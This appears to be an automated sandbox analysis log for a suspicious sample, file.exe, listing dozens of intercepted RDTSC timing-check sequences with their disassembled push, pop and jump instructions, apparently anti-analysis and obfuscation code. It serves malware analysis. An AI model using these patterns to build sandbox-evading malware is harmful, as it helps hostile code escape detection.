Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87863D second address: 878668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8F30FBAE66h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F30FBAE79h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878668 second address: 878673 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E343 second address: 87E34D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8F30FBAE6Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881531 second address: 881535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881535 second address: 881544 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnl 00007F8F30FBAE66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8843BA second address: 8843BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8843BE second address: 8843C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C78 second address: 883C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C7E second address: 883C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883DD1 second address: 883DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883DD7 second address: 883DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883DE0 second address: 883DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8F30D58CD6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88408F second address: 8840B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F30FBAE7Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8840B4 second address: 8840B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88640D second address: 886411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8865A7 second address: 8865BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30D58CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8865BF second address: 8865C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889C41 second address: 889C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889C49 second address: 889C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F03 second address: 889F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F09 second address: 889F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F0E second address: 889F20 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30D58CD8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F8F30D58CD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F20 second address: 889F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F24 second address: 889F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8F30D58CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F8F30D58CE2h 0x00000015 jp 00007F8F30D58CD6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A1F5 second address: 88A215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8F30FBAE66h 0x0000000a pop edi 0x0000000b jmp 00007F8F30FBAE6Dh 0x00000010 jbe 00007F8F30FBAE6Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A215 second address: 88A222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jc 00007F8F30D58CD6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E3E4 second address: 88E3FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F8F30FBAE66h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E850 second address: 88E856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E856 second address: 88E85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E85B second address: 88E866 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E866 second address: 88E86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EB45 second address: 88EB52 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F30D58CD8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EB52 second address: 88EB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8F30FBAE6Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EB67 second address: 88EB6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8932ED second address: 8932FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8932FF second address: 893305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893305 second address: 89330B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893749 second address: 89374E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89374E second address: 893754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8359E9 second address: 8359ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893B56 second address: 893B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89471A second address: 89474F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F8F30D58CE9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89474F second address: 894753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A9ED second address: 89A9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A9F8 second address: 89A9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ACA3 second address: 89ACA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ACA9 second address: 89ACAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B52F second address: 89B533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B533 second address: 89B550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B550 second address: 89B5C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8F30D58CE3h 0x00000008 jmp 00007F8F30D58CE0h 0x0000000d pop ecx 0x0000000e jmp 00007F8F30D58CE9h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jnp 00007F8F30D58CD6h 0x0000001d jnc 00007F8F30D58CD6h 0x00000023 jc 00007F8F30D58CD6h 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8F30D58CE9h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B5C4 second address: 89B5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B5C8 second address: 89B5CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B858 second address: 89B866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8F30FBAE66h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B866 second address: 89B887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8F30D58CD6h 0x0000000a jng 00007F8F30D58CD6h 0x00000010 js 00007F8F30D58CD6h 0x00000016 popad 0x00000017 pop ebx 0x00000018 pushad 0x00000019 js 00007F8F30D58CDCh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BB5B second address: 89BB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BB5F second address: 89BB73 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30D58CD6h 0x00000008 je 00007F8F30D58CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FC3D second address: 89FC47 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F30FBAE66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FC47 second address: 89FC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jno 00007F8F30D58CD6h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8F30D58CE0h 0x0000001a pushad 0x0000001b jmp 00007F8F30D58CDCh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FC7B second address: 89FC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FC81 second address: 89FC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89FE12 second address: 89FE4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F30FBAE78h 0x0000000b jmp 00007F8F30FBAE70h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F8F30FBAE6Ch 0x00000019 jng 00007F8F30FBAE66h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A00CB second address: 8A00D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A03C8 second address: 8A03E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F8F30FBAE72h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A03E1 second address: 8A03E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A03E9 second address: 8A03ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A03ED second address: 8A0405 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F30D58CD6h 0x00000008 jo 00007F8F30D58CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0405 second address: 8A0435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8F30FBAE78h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD963 second address: 8AD99C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30D58CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8F30D58CDAh 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8F30D58CE5h 0x0000001e jo 00007F8F30D58CD6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD99C second address: 8AD9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABDE9 second address: 8ABDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CDDh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABDFB second address: 8ABE0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F8F30FBAE66h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABE0D second address: 8ABE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABE11 second address: 8ABE15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC1B4 second address: 8AC1C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F30D58CDEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC1C8 second address: 8AC1D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F8F30FBAE66h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC31A second address: 8AC33A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F8F30D58CE1h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F8F30D58CD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC5D3 second address: 8AC5E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F8F30FBAE66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC745 second address: 8AC749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC890 second address: 8AC8B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8F30FBAE76h 0x00000008 pop ebx 0x00000009 jc 00007F8F30FBAE81h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB81B second address: 8AB82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F8F30D58CDAh 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB82A second address: 8AB82F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AFD25 second address: 8AFD2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECAFA second address: 7ECB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F8F30FBAE66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECB07 second address: 7ECB0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B687B second address: 8B68B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8F30FBAE71h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8F30FBAE72h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE00 second address: 8BCE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE06 second address: 8BCE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnp 00007F8F30FBAE66h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCE15 second address: 8BCE39 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8F30D58CE4h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F8F30D58CE0h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2E54 second address: 8C2E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2E5F second address: 8C2E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2FE0 second address: 8C2FF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30FBAE72h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7FFA second address: 8C7FFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7FFF second address: 8C8005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C798D second address: 8C79C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F8F30D58CE7h 0x0000000f pop ecx 0x00000010 jmp 00007F8F30D58CE3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C7B14 second address: 8C7B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30FBAE73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7829 second address: 8D783B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8F30D58CDDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E262A second address: 8E2632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2953 second address: 8E2966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8F30D58CDDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2966 second address: 8E296A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2B07 second address: 8E2B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2B0D second address: 8E2B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2B15 second address: 8E2B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2B1D second address: 8E2B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
